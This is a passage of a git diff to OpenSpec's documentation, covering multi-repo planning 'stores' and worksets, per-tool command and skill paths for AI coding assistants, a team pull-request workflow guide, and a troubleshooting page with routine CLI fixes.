platform work │ │ openspec/changes/ │ + │ │ │ (their own work) │ + │ │ └──────────────────────────┘ + └──────────────────────────┘ +``` + +**The product team declares what it draws on** in its repo's +`openspec/config.yaml`: + +```yaml +references: + - platform-reqs +``` + +References are read-only context. The repo keeps its own `openspec/` root; +work stays there. What changes: `openspec instructions` in that repo now +includes an index of the referenced store's specs — each with a one-line +summary and the exact fetch command (`openspec show --type spec +--store platform-reqs`). An agent working in `api-server` can find the +upstream payment requirements, cite them, and write its low-level design in +the repo's own root — without anyone pasting context around. + +A reference can carry its clone source, so teammates who don't have the +store yet get a complete fix instead of a dead end: + +```yaml +references: + - { id: platform-reqs, remote: "git@github.com:acme/platform-reqs.git" } +``` + +**When you want the plan and code open together, make a workset.** This is +personal and explicit: each person chooses the folders they actually work +with on their machine. Nothing about those local checkout paths is +committed to the shared planning repo. + +```bash +openspec workset create platform \ + --member ~/openspec/platform-reqs \ + --member ~/src/api-server \ + --member ~/src/web-app +``` + +## Two questions you can always ask + +**"Is my setup healthy?"** — `openspec doctor` checks the current root and +its referenced stores, read-only, with a pasteable fix per finding: + +``` +Doctor + +Root + Location: /Users/you/src/api-server + OpenSpec root: ok + +References + - platform-reqs: ok (/Users/you/openspec/platform-reqs) + - design-system: Referenced store 'design-system' is not registered on this machine. + Fix: git clone -- git@github.com:acme/design-system.git '/Users/you/openspec/design-system' && openspec store register '/Users/you/openspec/design-system' --id design-system + +``` + +**"What am I working with?"** — `openspec context` assembles the working +set from OpenSpec declarations: the root and the stores it references. + +``` +Working context for api-server (/Users/you/src/api-server) + +OpenSpec root + api-server /Users/you/src/api-server + +Referenced stores + platform-reqs /Users/you/openspec/platform-reqs + Fetch: openspec show --type spec --store platform-reqs +``` + +Both support `--json` for agents. `openspec context --code-workspace +` additionally writes a VS Code workspace file containing the whole +set — the only write this command performs. + +## Worksets: reopen the folders you work on together + +Separate from all of the above: most people open the same few folders +together every session — the planning repo plus two or three code repos. +A **workset** is a personal, named view of exactly that, reopened with one +command in your tool of choice. + +``` + workset "platform" openspec workset open platform + ├── team-plans ~/openspec/team-plans │ + ├── api-server ~/src/api-server ▼ + └── web-app ~/src/web-app all three open in your tool +``` + +```bash +openspec workset create platform \ + --member ~/openspec/team-plans --member ~/src/api-server \ + --tool code +openspec workset list +``` + +``` +platform (opens in VS Code) + team-plans /Users/you/openspec/team-plans + api-server /Users/you/src/api-server +``` + +`openspec workset open platform` then launches the saved tool: editors +(VS Code, Cursor) open one window with every member and return. The first +member is the primary. Override the tool any time with `--tool `. + +Worksets are deliberately *not* shared state. They live on your machine, +are never committed, and make no claims about the work — they only record +what you like open together. Removing one never touches the member +folders. New tools are configuration, not code: anything launched via a +workspace file or per-folder attach flags can be added under the `openers` +key in the global config (`openspec config edit`). + +## How commands decide where to act + +Every normal command resolves its root the same way, in this order: + +``` +1. --store you said so explicitly → that store +2. nearest openspec/ a real planning root here → this repo + (walking up from cwd) +3. store: pointer config.yaml declares a store → that store +4. defaultStore global config sets a machine → that store + default +5. none of the above stores registered on this → error with a + machine? selection hint + no stores registered? → the current + directory + (classic behavior) +``` + +The `Using OpenSpec root:` line (and the `root` block in `--json` output) +tells you which case you're in. + +## Known limitations + +- **Beta shape.** Everything on this page may change between releases — + names, flags, file formats, JSON keys. +- **One checkout per store id per machine.** Registering a second checkout + under the same id fails with a hint to `store unregister` first. +- **No sync, ever — by design.** OpenSpec never clones, pulls, or pushes. + A stale checkout shows stale specs until *you* pull; references are + indexed live from whatever is on disk. +- **Empty planning folders can be absent.** A new store may not have + `openspec/changes/`, `openspec/specs/`, or `openspec/changes/archive/` in Git + yet. That is accepted during the beta; those folders appear once normal + commands create files for them. +- **Pointer repos stay pointers.** A config-only repo whose + `openspec/config.yaml` declares `store: ` is treated as externalized + planning, not as a store checkout to register. Remove the `store:` line first + if you intentionally want to convert that repo into a local store root. +- **Some commands stay where they are.** `view`, `templates`, `schemas`, + and the deprecated noun forms (`openspec change show`, ...) act on the + current directory only — no `--store`. +- **Per-machine state is per-machine.** The store registry and worksets + are local settings. Nothing about your machine's layout is + ever committed to shared planning. +- **Two launch styles for worksets.** A tool that can't be launched with a + workspace file or per-folder attach flags can't be added as an opener. +- **Agent JSON has a known casing split** (store-family keys are + snake_case, workflow-family camelCase). Documented in the + [agent contract](../agent-contract.md); unifying it is deferred to a + versioned release. + +## Where things live + +| What | Where | Shared? | +|---|---|---| +| A store's planning | `/openspec/` (specs, changes) | Yes — commit and push it | +| A store's identity | `/.openspec-store/store.yaml` | Yes — committed with the store | +| The store registry | `/openspec/stores/registry.yaml` | No — this machine only | +| Worksets | `/openspec/worksets/` | No — this machine only | + +`` is `~/.local/share/openspec` on macOS and Linux (or +`$XDG_DATA_HOME/openspec` when set), and `%LOCALAPPDATA%\openspec` on +Windows. + +## Reference + +Exact flags and JSON shapes for every command on this page: +[CLI reference](../cli.md) (Stores, Doctor, Working context, Personal +worksets) and the [agent contract](../agent-contract.md). diff --git a/docs/supported-tools.md b/docs/supported-tools.md index dc55009204..756a80e878 100644 --- a/docs/supported-tools.md +++ b/docs/supported-tools.md @@ -9,13 +9,56 @@ For each selected tool, OpenSpec can install: 1. **Skills** (if delivery includes skills): `.../skills/openspec-*/SKILL.md` 2. **Commands** (if delivery includes commands): tool-specific `opsx-*` command files +Codex is skills-only: OpenSpec installs `.agents/skills/openspec-*/SKILL.md` for Codex even when delivery is set to `commands`, and it does not generate Codex custom prompt files. Existing OpenSpec-managed skills under the legacy `.codex/skills` path are reconciled after their replacements are written; custom and divergent files are preserved. + By default, OpenSpec uses the `core` profile, which includes: - `propose` - `explore` - `apply` +- `update` +- `sync` - `archive` -You can enable expanded workflows (`new`, `continue`, `ff`, `verify`, `sync`, `bulk-archive`, `onboard`) via `openspec config profile`, then run `openspec update`. +You can enable expanded workflows (`new`, `continue`, `ff`, `verify`, `bulk-archive`, `onboard`) via `openspec config profile`, then run `openspec update`. + +## How To Invoke + +These docs use `/opsx:propose` as the canonical name, but each tool spells it the +way it loads the file OpenSpec wrote. Find your tool's command path in the +[Tool Directory Reference](#tool-directory-reference) below, then match its shape here. + +| Command file OpenSpec writes | You type | Tools | +|------------------------------|----------|-------| +| `.../commands/opsx/.*` — an `opsx/` folder namespaces it | `/opsx:` | Claude Code, CodeBuddy, Crush, Gemini CLI, Lingma, Qoder, ZCode | +| `.../opsx-.*` — the filename is the command | `/opsx-` | Every other tool with generated command files, except Amazon Q and Devin | +| `.devin/workflows/opsx-.md` — read by only one of Devin's two agents | `/opsx-` on Devin Desktop, `/openspec-` on Devin Local | Devin Desktop\*\*\*\* | +| `.amazonq/prompts/opsx-.md` — a prompt, not a command | `@opsx-` | Amazon Q Developer | +| none — skills only | `/openspec-` | CodeArts, ForgeCode, Hermes, MiniMax Code, Mistral Vibe, shared `.agents` | +| none — Kimi Code | `/skill:openspec-` | Kimi Code | +| none — Codex CLI | `$openspec-` | Codex ([`/openspec-` is not recognized](https://github.com/openai/codex/issues/11817)) | + +So `/opsx:propose` is `/opsx-propose` in Cursor, `@opsx-propose` in Amazon Q, and +`$openspec-propose` in Codex. + +Two things vary independently, which is why the rows do not collapse: + +- **The name.** Rows 1–2 differ only in how the file names the command, and the + `opsx-` / `opsx:` stem is the same for every tool with generated + command files. +- **The wrapper.** Amazon Q loads its files into a prompt library invoked with + `@`. Skills-only tools generate no command files at all, so their last three + rows use *skill* names — listed under + [Generated Skill Names](#generated-skill-names) — which do not map one-to-one + onto command ids (`/opsx:apply` is the `openspec-apply-change` skill). + +The command path patterns above are extension-neutral (`.*`) on purpose: the +extension is the tool's (`.toml` for Gemini CLI, `.prompt` for Continue, +`.prompt.md` for Kiro and GitHub Copilot), and a few tools show the name with +its extension in the picker. Match the directory shape, not the extension. + +The files OpenSpec generates, and the "Getting started" hint printed after setup, +already use the right form for the tools you selected — so the fastest answer is +to read the hint. ## Tool Directory Reference @@ -27,8 +70,10 @@ You can enable expanded workflows (`new`, `continue`, `ff`, `verify`, `sync`, `b | IBM Bob Shell (`bob`) | `.bob/skills/openspec-*/SKILL.md` | `.bob/commands/opsx-.md` | | Claude Code (`claude`) | `.claude/skills/openspec-*/SKILL.md` | `.claude/commands/opsx/.md` | | Cline (`cline`) | `.cline/skills/openspec-*/SKILL.md` | `.clinerules/workflows/opsx-.md` | +| CodeArts (`codeartsagent`) | `.codeartsdoer/skills/openspec-*/SKILL.md` | Not generated (no command adapter; use skill-based `/openspec-*` invocations) | | CodeBuddy (`codebuddy`) | `.codebuddy/skills/openspec-*/SKILL.md` | `.codebuddy/commands/opsx/.md` | -| Codex (`codex`) | `.codex/skills/openspec-*/SKILL.md` | `$CODEX_HOME/prompts/opsx-.md`\* | +| Codex (`codex`) | `.agents/skills/openspec-*/SKILL.md` | Not generated (skills-only; use `$openspec-*`) | +| Devin Desktop, formerly Windsurf (`devin`) | `.devin/skills/openspec-*/SKILL.md` | `.devin/workflows/opsx-.md`\*\*\*\* | | ForgeCode (`forgecode`) | `.forge/skills/openspec-*/SKILL.md` | Not generated (no command adapter; use skill-based `/openspec-*` invocations) | | Continue (`continue`) | `.continue/skills/openspec-*/SKILL.md` | `.continue/prompts/opsx-.prompt` | | CoStrict (`costrict`) | `.cospec/skills/openspec-*/SKILL.md` | `.cospec/openspec/commands/opsx-.md` | @@ -37,21 +82,103 @@ You can enable expanded workflows (`new`, `continue`, `ff`, `verify`, `sync`, `b | Factory Droid (`factory`) | `.factory/skills/openspec-*/SKILL.md` | `.factory/commands/opsx-.md` | | Gemini CLI (`gemini`) | `.gemini/skills/openspec-*/SKILL.md` | `.gemini/commands/opsx/.toml` | | GitHub Copilot (`github-copilot`) | `.github/skills/openspec-*/SKILL.md` | `.github/prompts/opsx-.prompt.md`\*\* | +| Hermes Agent (`hermes`) | `.hermes/skills/openspec-*/SKILL.md`\*\*\* | Not generated (no command adapter; use skill-based `/openspec-*` invocations) | | iFlow (`iflow`) | `.iflow/skills/openspec-*/SKILL.md` | `.iflow/commands/opsx-.md` | | Junie (`junie`) | `.junie/skills/openspec-*/SKILL.md` | `.junie/commands/opsx-.md` | | Kilo Code (`kilocode`) | `.kilocode/skills/openspec-*/SKILL.md` | `.kilocode/workflows/opsx-.md` | +| Kimi Code (`kimi`) | `.kimi-code/skills/openspec-*/SKILL.md` | Not generated (no command adapter; use skill-based `/skill:openspec-*` invocations) | | Kiro (`kiro`) | `.kiro/skills/openspec-*/SKILL.md` | `.kiro/prompts/opsx-.prompt.md` | +| Lingma (`lingma`) | `.lingma/skills/openspec-*/SKILL.md` | `.lingma/commands/opsx/.md` | +| MiniMax Code (`minimax-code`) | `~/.minimax/skills/openspec-*/SKILL.md` | Not generated (no command adapter; use MiniMax Code skills) | +| Mistral Vibe (`vibe`) | `.vibe/skills/openspec-*/SKILL.md` | Not generated (no command adapter; use skill-based `/openspec-*` invocations) | +| Oh My Pi (`oh-my-pi`) | `.omp/skills/openspec-*/SKILL.md` | `.omp/commands/opsx-.md` | | OpenCode (`opencode`) | `.opencode/skills/openspec-*/SKILL.md` | `.opencode/commands/opsx-.md` | | Pi (`pi`) | `.pi/skills/openspec-*/SKILL.md` | `.pi/prompts/opsx-.md` | | Qoder (`qoder`) | `.qoder/skills/openspec-*/SKILL.md` | `.qoder/commands/opsx/.md` | -| Qwen Code (`qwen`) | `.qwen/skills/openspec-*/SKILL.md` | `.qwen/commands/opsx-.toml` | -| RooCode (`roocode`) | `.roo/skills/openspec-*/SKILL.md` | `.roo/commands/opsx-.md` | -| Trae (`trae`) | `.trae/skills/openspec-*/SKILL.md` | Not generated (no command adapter; use skill-based `/openspec-*` invocations) | -| Windsurf (`windsurf`) | `.windsurf/skills/openspec-*/SKILL.md` | `.windsurf/workflows/opsx-.md` | - -\* Codex commands are installed in the global Codex home (`$CODEX_HOME/prompts/` if set, otherwise `~/.codex/prompts/`), not your project directory. - -\*\* GitHub Copilot prompt files are recognized as custom slash commands in IDE extensions (VS Code, JetBrains, Visual Studio). Copilot CLI does not currently consume `.github/prompts/*.prompt.md` directly. +| Qwen Code (`qwen`) | `.qwen/skills/openspec-*/SKILL.md` | `.qwen/commands/opsx-.md` | +| [Rovo Dev CLI](https://support.atlassian.com/rovo/docs/use-rovo-dev-cli/) (`rovodev`) | `.rovodev/skills/openspec-*/SKILL.md` | Not generated. Rovo has no slash-command surface — it matches skills automatically or by prompt (e.g. "use the openspec-propose skill"); `/skills` only manages them. Generated content references skills by name, never as `/openspec-*` commands. | +| [Zoo Code](https://github.com/Zoo-Code-Org/Zoo-Code) (`roocode`) | `.roo/skills/openspec-*/SKILL.md` | `.roo/commands/opsx-.md` | +| Trae (`trae`) | `.trae/skills/openspec-*/SKILL.md` | `.trae/commands/opsx-.md` | +| ZCode (`zcode`) | `.zcode/skills/openspec-*/SKILL.md` | `.zcode/commands/opsx/.md` | +| Shared `.agents` skills (`agents`) | `.agents/skills/openspec-*/SKILL.md` | Not generated (no command adapter; use skill-based `/openspec-*` invocations) | + +\*\* GitHub Copilot prompt files are recognized as custom slash commands in IDE extensions (VS Code, JetBrains, Visual Studio). Copilot CLI does not currently consume `.github/prompts/*.prompt.md` directly. Selecting `github-copilot` can also set up the GitHub-hosted **cloud coding agent** — see [GitHub Copilot cloud coding agent](#github-copilot-cloud-coding-agent) below. + +\*\*\* Hermes loads skills from `~/.hermes/skills/` by default. To use project-local OpenSpec skills, add the project `.hermes/skills/` directory to `skills.external_dirs` in `~/.hermes/config.yaml`; Hermes then exposes skills with user-facing slash invocations such as `/openspec-propose`. + +\*\*\*\* Windsurf was [rebranded to Devin Desktop](https://docs.devin.ai/desktop/devin-desktop-faq) on June 2, 2026, and its config directory moved: `.devin/` is the preferred read + write location, `.windsurf/` a legacy read-only fallback. OpenSpec follows the rename — the tool id is `devin`, and `--tools windsurf` still resolves to it so existing setup scripts keep working. A project still holding OpenSpec files in `.windsurf/` is offered the move on the next `openspec update`; declining leaves them in place, and files you wrote yourself are never touched. Workflows are invoked by filename, so `.devin/workflows/opsx-apply.md` is `/opsx-apply`. The [Devin Local agent does not support workflows](https://docs.devin.ai/desktop/devin-local) — only skills, and it does not read `.windsurf/` at all — so whenever OpenSpec writes Devin skills it keeps their bodies, and the getting-started hint, on `/openspec-*` skill invocations, which work on both agents. Under commands-only delivery no skills are written and both fall back to `/opsx-*`. + +MiniMax Code is a global skills-only integration. OpenSpec writes only its +`openspec-*` directories under `~/.minimax/skills/`; it does not create +repo-local `.minimax` or `.mavis` directories. Commands-only delivery leaves +existing global MiniMax Code skills untouched so one project's delivery setting +cannot remove skills used by another project. + +### GitHub Copilot cloud coding agent + +GitHub's [Copilot coding agent](https://docs.github.com/en/copilot/using-github-copilot/coding-agent) runs on GitHub in a GitHub Actions environment — separate from Copilot in your editor. OpenSpec can set it up to use the OpenSpec CLI by generating two files: + +- `.github/workflows/copilot-setup-steps.yml` — installs `@fission-ai/openspec` in the agent's environment +- `.github/agents/openspec.agent.md` — tells the agent how to drive OpenSpec + +Because this writes a GitHub Actions workflow into your repository, it is **opt-in**: + +| How | Behavior | +|-----|----------| +| `openspec init` (interactive) | Asks whether to set up cloud files. Default is **No**. | +| `openspec init --copilot-cloud` | Sets them up without prompting (for scripts/CI). | +| `openspec init --no-copilot-cloud` | Skips them without prompting, and removes any previously generated ones. | +| `openspec update` | Never prompts. Refreshes the files only if you opted in (or the project already has them). If you opted out, it removes OpenSpec-managed cloud files. | + +Your choice is saved in `openspec/config.yaml` as `githubCopilot.cloudAgent: true|false`, so non-interactive updates honor it. OpenSpec only ever writes or removes files whose content it generated — if you customize `copilot-setup-steps.yml` or `openspec.agent.md`, or already have your own, it is left untouched (and `init`/`update` tell you so). + +### When to pick the shared `.agents` target + +`agents` is the vendor-neutral option: it writes skills to `.agents/skills/`, the +shared root many agent tools read, instead of a tool-specific directory. + +| Situation | Pick | +|-----------|------| +| Your tool has its own row above | Its own ID — you get that tool's integration, including slash commands where it supports them | +| Several agents on one repo, all reading `.agents/skills` | `agents` — one skill tree instead of one per tool | +| Your tool isn't listed yet but reads `.agents/skills` | `agents` | + +Selecting it alongside a tool-specific ID is fine; each normally writes to its +own root. Codex is the exception because it uses the same canonical `.agents` +root. If both `codex` and `agents` are selected, OpenSpec keeps one +Codex-led tree. Its handoffs name both `$openspec-*` for Codex and +`/openspec-*` for other agents, so `--tools all` and existing multi-agent +setups keep working without two writers overwriting the same files. +OpenSpec also offers it automatically once a project has a `.agents/skills/` +directory — a bare `.agents/` is not enough, since tools use that root for rules +and subagent definitions too. Note `.agents` is not `.agent`: the singular +directory belongs to Antigravity. + +Two things to know: + +- **Skills only.** No command adapter exists, so no `opsx-*` command files are + written; with a commands-inclusive delivery mode `openspec init` lists `agents` + among the tools it reports under `Commands skipped for: … (no adapter)`. + Invoke the workflows by skill name — + most assistants that read `.agents/skills` spell that `/openspec-propose`, the form + OpenSpec's setup hint prints. The target is vendor-neutral, so check your + assistant's own docs if it uses another form. +- **No `AGENTS.md` is created or edited.** The target is the `.agents/` directory. + If your root `AGENTS.md` still carries OpenSpec marker blocks from an older + version, `openspec update` strips them — see the [Migration Guide](migration-guide.md). + +Because `.agents/skills/` is shared, it is worth knowing what OpenSpec claims there: +it writes, refreshes, and removes only the `openspec-*` skill directories for your +selected workflows, plus an `.openspec-target` marker that records whether Codex +or the vendor-neutral target rendered that shared tree. Anything else in that +directory is left alone. Treat the `openspec-*` names and marker as OpenSpec's — +edits inside them are replaced on the next `openspec update`, the same as for +every other tool. + +For pre-marker projects, OpenSpec infers ownership from managed skill references: +`$openspec-*` means Codex and `/openspec-*` means the vendor-neutral target. A +generic canonical tree alongside legacy `.codex/skills` is treated as an older +dual-target install and consolidated into the compatible shared tree. ## Non-Interactive Setup @@ -71,15 +198,15 @@ openspec init --tools none openspec init --profile core ``` -**Available tool IDs (`--tools`):** `amazon-q`, `antigravity`, `auggie`, `bob`, `claude`, `cline`, `codex`, `codebuddy`, `continue`, `costrict`, `crush`, `cursor`, `factory`, `forgecode`, `gemini`, `github-copilot`, `iflow`, `junie`, `kilocode`, `kiro`, `opencode`, `pi`, `qoder`, `qwen`, `roocode`, `trae`, `windsurf` +**Available tool IDs (`--tools`)** — `windsurf` is also accepted, as an alias for `devin`: `amazon-q`, `antigravity`, `auggie`, `bob`, `claude`, `cline`, `codeartsagent`, `codex`, `devin`, `forgecode`, `codebuddy`, `continue`, `costrict`, `crush`, `cursor`, `factory`, `gemini`, `github-copilot`, `hermes`, `iflow`, `junie`, `kilocode`, `kimi`, `kiro`, `lingma`, `minimax-code`, `vibe`, `oh-my-pi`, `opencode`, `pi`, `qoder`, `qwen`, `roocode`, `trae`, `zcode`, `agents` ## Workflow-Dependent Installation OpenSpec installs workflow artifacts based on selected workflows: -- **Core profile (default):** `propose`, `explore`, `apply`, `archive` +- **Core profile (default):** `propose`, `explore`, `apply`, `update`, `sync`, `archive` - **Custom selection:** any subset of all workflow IDs: - `propose`, `explore`, `new`, `continue`, `apply`, `ff`, `sync`, `archive`, `bulk-archive`, `verify`, `onboard` + `propose`, `explore`, `new`, `continue`, `apply`, `update`, `ff`, `sync`, `archive`, `bulk-archive`, `verify`, `onboard` In other words, skill/command counts are profile-dependent and delivery-dependent, not fixed. @@ -92,6 +219,7 @@ When selected by profile/workflow config, OpenSpec generates these skills: - `openspec-new-change` - `openspec-continue-change` - `openspec-apply-change` +- `openspec-update-change` - `openspec-ff-change` - `openspec-sync-specs` - `openspec-archive-change` diff --git a/docs/team-workflow.md b/docs/team-workflow.md new file mode 100644 index 0000000000..76c83817b8 --- /dev/null +++ b/docs/team-workflow.md @@ -0,0 +1,74 @@ +# OpenSpec on a Team + +Everything in the other guides works the same whether you're solo or on a team of twenty. What changes on a team is the questions around the edges: where do the specs live, how do teammates review a plan, and how does any of this fit the pull-request flow we already have? + +The short answer: a change is just files, and OpenSpec never touches git. So it fits your existing workflow instead of replacing it. This page spells out the conventions that work well. + +## One rule: OpenSpec doesn't touch git + +OpenSpec reads and writes plain Markdown under `openspec/`. It never commits, branches, pushes, or pulls in your project — and it never clones or syncs a [store](stores-beta/user-guide.md) on its own. That means: + +- **You commit `openspec/` like any source.** Specs, active changes, and the archive are part of your project's history. (Yes, commit the whole folder — see the [FAQ](faq.md#should-i-commit-the-openspec-folder-to-git).) +- **A change is a folder you version like code.** `openspec/changes/add-dark-mode/` is just files on a branch. +- **Everything below is convention, not enforcement.** OpenSpec won't make you do it this way; it just fits cleanly. + +## The everyday loop + +The workflow that works well maps a change onto a branch and a pull request: + +``` +git switch -c add-dark-mode start a branch, as usual + │ +/opsx:propose add-dark-mode draft the plan (proposal + specs + tasks) + │ +REVIEW THE PLAN you read it before any code — see Reviewing a Change + │ +/opsx:apply build it; artifacts + code change together + │ +git commit && open a PR the PR contains the spec delta AND the code + │ +teammate reviews, merges + │ +/opsx:archive fold the delta into specs/, move the change to archive/ +``` + +The plan and the code live side by side in the same branch, so your teammates review both together, and six months later the archived spec still explains why the code looks the way it does. + +## Reviewing specs in a pull request + +This is where a team feels the payoff. When a PR includes the change's delta spec, the reviewer gets something a raw diff never gives them: **a plain-language statement of what this change is supposed to do**, before they read a single line of code. + +A good review order for the reviewer: + +1. **Read `proposal.md`** — is this the right problem and scope? +2. **Read the delta under `specs/`** — is "done" defined correctly? (This is the [Reviewing a Change](reviewing-changes.md) two-minute pass, now happening in the PR.) +3. **Then read the code diff** — does it deliver exactly those requirements? + +A reviewer who disagrees with the *approach* can say so against the proposal, cheaply, instead of relitigating it across 300 lines of code. Put the delta spec near the top of the PR description, or point reviewers at the change folder, so they start there. + +## When to archive + +Archiving folds a change's deltas into your main `openspec/specs/` and moves the change folder to `openspec/changes/archive/YYYY-MM-DD-/`. Because `specs/` is the **shared source of truth**, the timing matters on a team. Two workable conventions: + +- **Archive after the PR merges (recommended).** The branch carries the active change; once it's merged to your main branch, archive there (often a tiny follow-up commit or a scheduled cleanup). This keeps the shared `specs/` moving forward only with work that actually shipped. +- **Archive inside the PR.** Simpler for small teams: the same PR that adds the code also syncs and archives. The tradeoff is that your `specs/` diff and your code diff land together, which can make the PR noisier. + +Pick one and be consistent. Either way, `/opsx:archive` checks that tasks are complete and offers to sync first, so nothing merges half-finished by accident. + +## Two people, parallel changes + +Because changes are separate folders, they don't collide: + +- **Different changes, different people — no problem.** `add-dark-mode` and `rate-limit-login` are different folders on different branches; they never touch each other until they both archive. +- **One change, one owner.** Two people editing the same change folder conflict exactly like two people editing the same file. Keep a change to a single author, or split it into two changes (another reason to [right-size](writing-specs.md#right-size-the-change)). +- **The one place conflicts show up is `specs/`.** If two changes both modify the *same* requirement, archiving the second one will conflict in `openspec/specs/…/spec.md` — resolve it like any merge conflict, keeping the requirement that reflects reality. This is rare, and it's a feature: it's git telling you two changes disagreed about how the system should behave. + +## When planning outgrows one repo + +Everything above assumes the plan lives in the code repo's own `openspec/` folder, which is the right default. When your planning genuinely spans several repos or teams — one feature touching three services, or requirements one team owns and others consume — that's what the beta **stores** feature is for: planning gets its own repo that any code repo can point at. Start with the [Stores User Guide](stores-beta/user-guide.md). + +## Where to go next + +- [Reviewing a Change](reviewing-changes.md) — the review pass, now inside your PR. +- [Writing Good Specs](writing-specs.md) — including how to right-size a change so it fits one branch. +- [Stores User Guide](stores-beta/user-guide.md) — planning that spans repos and teams. diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md new file mode 100644 index 0000000000..b6e65eec82 --- /dev/null +++ b/docs/troubleshooting.md @@ -0,0 +1,192 @@ +# Troubleshooting + +Concrete fixes for concrete problems. Each entry names a symptom, explains the likely cause in a sentence, and gives you the fix. If you don't see your issue here, the [FAQ](faq.md) may help, and the [Discord](https://discord.gg/YctCnvvshC) definitely will. + +## Installation and setup + +### `openspec: command not found` + +The CLI isn't installed, or your shell can't find it. Install it globally and check: + +```bash +npm install -g @fission-ai/openspec@latest +openspec --version +``` + +If it installed but still isn't found, your global npm bin directory probably isn't on your `PATH`. Run `npm prefix -g` to see where global packages live: on macOS and Linux the binaries are in that directory's `bin/`, and on Windows they sit directly in it. Make sure that path is on your `PATH`. (`npm bin -g` was removed in npm 9.) + +If you used the [AI-assisted install](installation.md#install-with-your-ai-assistant), this is the expected hand-off point: that prompt tells your assistant to show you the `PATH` change rather than edit your shell startup files itself. + +### "Requires Node.js 20.19.0 or higher" + +OpenSpec runs on Node 20.19.0+. Check your version and upgrade if needed: + +```bash +node --version +``` + +If you use bun to install OpenSpec, note that OpenSpec still *runs* on Node, so you need Node 20.19.0+ available on your `PATH` regardless. See [Installation](installation.md). + +### `openspec init` didn't configure my AI tool + +Init asks which tools to set up. If you skipped your tool or want to add another, just run it again, or use the non-interactive form: + +```bash +openspec init --tools claude,cursor +``` + +The full list of tool IDs is in [Supported Tools](supported-tools.md). Use `--tools all` for everything, `--tools none` to skip tool setup. + +## Commands don't show up + +If `/opsx:propose` (or your tool's equivalent) doesn't appear or doesn't do anything, work down this list. They're ordered fastest-to-check first. + +1. **You may be in the wrong place.** Slash commands go in your AI assistant's chat, not your terminal. If you typed `/opsx:propose` into your shell, that's the issue. See [How Commands Work](how-commands-work.md). + +2. **Regenerate the files.** From your project root: + + ```bash + openspec update + ``` + + This rewrites the skill and command files for every tool you've configured. + + Instruction files come from the *installed* CLI, so an outdated CLI reports everything up to date without ever writing the newer workflows. `openspec update` now checks for that and offers to upgrade — take the offer if you see it. + +3. **Restart your assistant.** Most tools scan for skills and commands at startup. A fresh window often does it. + +4. **Confirm the files exist.** For Claude Code, check that `.claude/skills/` contains `openspec-*` folders. Other tools use their own directories, all listed in [Supported Tools](supported-tools.md). + +5. **Check you initialized this project.** Skills are written per project. If you cloned a repo or switched folders, run `openspec init` (or `openspec update`) there. + +6. **Confirm your tool supports command files.** Codex, CodeArts, ForgeCode, Hermes, Kimi Code, Mistral Vibe and the shared `.agents` target don't get generated `opsx-*` command files; they use skill-based invocations instead, so `/opsx` will never autocomplete for them. Type `$openspec-propose` in Codex, `/skill:openspec-propose` in Kimi Code, and `/openspec-propose` in the rest. The shared `.agents` target is vendor-neutral, so `/openspec-propose` is the common form rather than a guaranteed one — if your assistant does not answer to it, check its own docs for how it invokes a skill. Amazon Q does get command files, but loads them into its prompt library rather than its slash menu — type `@opsx-propose` there, not `/opsx`. Every tool's form is listed in [How To Invoke](supported-tools.md#how-to-invoke). + +## Working with changes + +### "Change not found" + +The command couldn't tell which change you meant. Name it explicitly, or check what exists: + +```bash +openspec list # see active changes +/opsx:apply add-dark-mode # name the change in chat +``` + +Also confirm you're in the right project directory. + +### "No artifacts ready" + +Every artifact is either already created or blocked waiting on a dependency. See what's blocking: + +```bash +openspec status --change +``` + +Then create the missing dependency first. Remember the order: proposal enables specs and design; specs and design together enable tasks. + +### `openspec validate` reports warnings or errors + +Validation checks your specs and changes for structural problems. Read the message: it names the file and the issue. + +```bash +openspec validate # validate one item +openspec validate --all # validate everything +openspec validate --all --strict # stricter checks, good for CI +``` + +Common causes are a missing required section (like a spec with no scenarios) or a malformed delta header. Fix the file and re-run. The [CLI reference](cli.md#openspec-validate) documents the output format. + +One message deserves its own note: + +```text +MODIFIED "" omits scenario(s) the current spec still has: "" +``` + +A `MODIFIED` requirement replaces the whole requirement block, so it has to carry every scenario that survives the change, not only the ones you edited. Copy the named scenarios from `openspec/specs//spec.md` back into the delta, preserving any domain directories in the path. This often appears on an older change after someone else's change added a scenario to the same requirement — archive refuses that change either way, and validation now says so before you implement it. + +### The AI created incomplete or wrong artifacts + +The AI didn't have enough context. A few levers help: + +- Add project context in `openspec/config.yaml` so your stack and conventions are injected into every request. See [Customization](customization.md#project-configuration). +- Add per-artifact `rules:` for guidance that only applies to, say, specs. +- Give a more detailed description when you propose. +- Use the expanded `/opsx:continue` to create one artifact at a time and review each, instead of `/opsx:ff` doing them all at once. + +### Archive won't finish, or warns about incomplete tasks + +Archive won't *block* on incomplete tasks, but it warns you, because archiving usually means the work is done. If tasks remain on purpose (you're filing a partial change), proceed. Otherwise finish the tasks first. Archive will also offer to sync your delta specs into the main specs if you haven't synced yet; say yes unless you have a reason not to. + +### "User force closed the prompt with 0 null" + +Something ran `openspec archive` where nothing can answer a question — an AI agent calling it from a tool, a CI job, or any shell with stdin closed. Archive asks up to three confirmations, and an unanswerable one used to fail with that raw message. + +Pass `--yes` to answer them up front: + +```bash +openspec archive --yes +``` + +Keep any flags you were already passing — `--skip-specs` and `--no-validate` change what archive does, so a bare `--yes` rerun is not the same command. Current versions name the flag for you and print a `Fix:` line you can paste. If you meant to pick from a list, pass the change name explicitly: the picker needs an answer too. + +## Configuration + +### My `config.yaml` isn't being applied + +Three usual suspects: + +1. **Wrong filename.** It must be `openspec/config.yaml`, not `.yml`. +2. **Invalid YAML.** Run it through any YAML validator; the CLI also reports syntax errors with line numbers. +3. **You expected a restart.** You don't need one. Config changes take effect immediately. + +### "Unknown artifact ID in rules: X" + +A key under `rules:` doesn't match any artifact in your schema. For the default `spec-driven` schema the valid IDs are `proposal`, `specs`, `design`, `tasks`. To see the IDs for any schema: + +```bash +openspec schemas --json +``` + +### "Context too large" + +The `context:` field is capped at 50KB, on purpose, because it's injected into every request. Summarize it, or link out to longer docs instead of pasting them. Lean context also produces better, faster results. + +### "Schema not found" + +The schema name you referenced doesn't exist. List what's available and check spelling: + +```bash +openspec schemas # list available schemas +openspec schema which # see where a schema resolves from +openspec schema init # create a custom one +``` + +See [Customization](customization.md#custom-schemas). + +## Migration from the legacy workflow + +### "Legacy files detected in non-interactive mode" + +You're in CI or a non-interactive shell, and OpenSpec found old files to clean up but can't prompt you. Approve automatically: + +```bash +openspec init --force +``` + +For Codex, OpenSpec may detect old managed prompt files in `$CODEX_HOME/prompts` or `~/.codex/prompts`. That cleanup is limited to OpenSpec's 